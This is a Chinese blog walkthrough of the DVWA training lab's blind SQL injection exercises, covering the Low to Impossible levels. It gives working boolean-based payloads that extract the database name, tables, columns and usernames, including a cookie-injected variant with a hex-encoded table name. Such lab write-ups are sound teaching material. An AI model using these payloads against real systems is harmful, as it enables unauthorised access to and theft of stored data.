DVWA-SQL Injection(Blind)

admin 2023年3月12日14:28:38DVWA-SQL Injection(Blind)已关闭评论25 views字数 2454阅读8分10秒阅读模式

作者:儒道易行

8.SQL Injection (Blind)

1.SQL Injection (Blind)(Low)

相关代码分析

DVWA-SQL Injection(Blind)

可以看到,Low级别的代码对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞,同时SQL语句查询返回的结果只有两种,

'\

User ID exists in the database.\

' 与

'\

User ID is MISSING from the database.\

';

因此这里是SQL盲注漏洞。

由题可知是布尔盲注,只会返回True或者False,不会返回报错信息

输入lucy,点击查询,返回True,输入lucy'返回False,说明此处存在SQL注入

DVWA-SQL Injection(Blind)

判断当前数据库的长度,大于3不大于4,所以长度为4,可以用burp的intruder

lucy' or length(database())>4-- q,False

DVWA-SQL Injection(Blind)

lucy' or length(database())>3-- q,True

DVWA-SQL Injection(Blind)

判断库名第一个字母为d,True

lucy' or (substr(database(),1,1))='d'-- q

DVWA-SQL Injection(Blind)

以此类推,数据库名为dvwa

判断表名第一个表的第一个字母为g,True

lucy' or (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))='g'-- q

DVWA-SQL Injection(Blind)

以此类推,所有表名为guestbook,users

判断users表中第一个字段的第一个字母是u,True

lucy' or (substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))='u'-- q

DVWA-SQL Injection(Blind)

以此类推,所有字段名为user_id,first_name,last_name,user,password,avatar,last_login,failed_login

判断username中第一个内容的第一个字母为a,True

lucy' or (substr((select user from users limit 0,1),1,1))='a'-- q

DVWA-SQL Injection(Blind)

2.SQL Injection (Blind)(Medium)

相关代码分析

DVWA-SQL Injection(Blind)

Medium级别的代码利用mysql_real_escape_string函数对特殊符号

\x00,\n,\r,\,',",\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。

虽然前端使用了下拉选择菜单,但我们依然可以通过抓包改参数id,提交恶意构造的查询参数

基于布尔的盲注

判断当前数据库的长度,长度为4,可以用burp的intruder

1 or length(database())=4 #,False

DVWA-SQL Injection(Blind)

中间的操作和低等级的SQL注入类似,只是抓包修改,在此不再做过多赘述

3.SQL Injection (Blind)(High)

相关代码分析

DVWA-SQL Injection(Blind)

High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。

抓包将cookie中参数id改为1’ and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;

DVWA-SQL Injection(Blind)

中间的操作和低等级的SQL注入类似,只是抓包修改cookie参数,在此不再做过多赘述

需要注意的一点是,判断字段数时,抓包将cookie中参数id改为1' and (select count(column_name) from information_schema.columns where table_name=07573657273)=8 #,(07573657273 为users的16进制),显示存在,说明uers表有8个字段。

4.SQL Injection (Blind)(Impossble)

相关代码分析

DVWA-SQL Injection(Blind)

可以看到,Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

博客:

https://rdyx0.github.io/

先知社区:

https://xz.aliyun.com/u/37846

SecIN:

https://www.sec-in.com/author/3097

CSDN:

https://blog.csdn.net/weixin_48899364?type=blog

公众号:

https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect

FreeBuf:

https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月12日14:28:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DVWA-SQL Injection(Blind)https://cn-sec.com/archives/1599581.html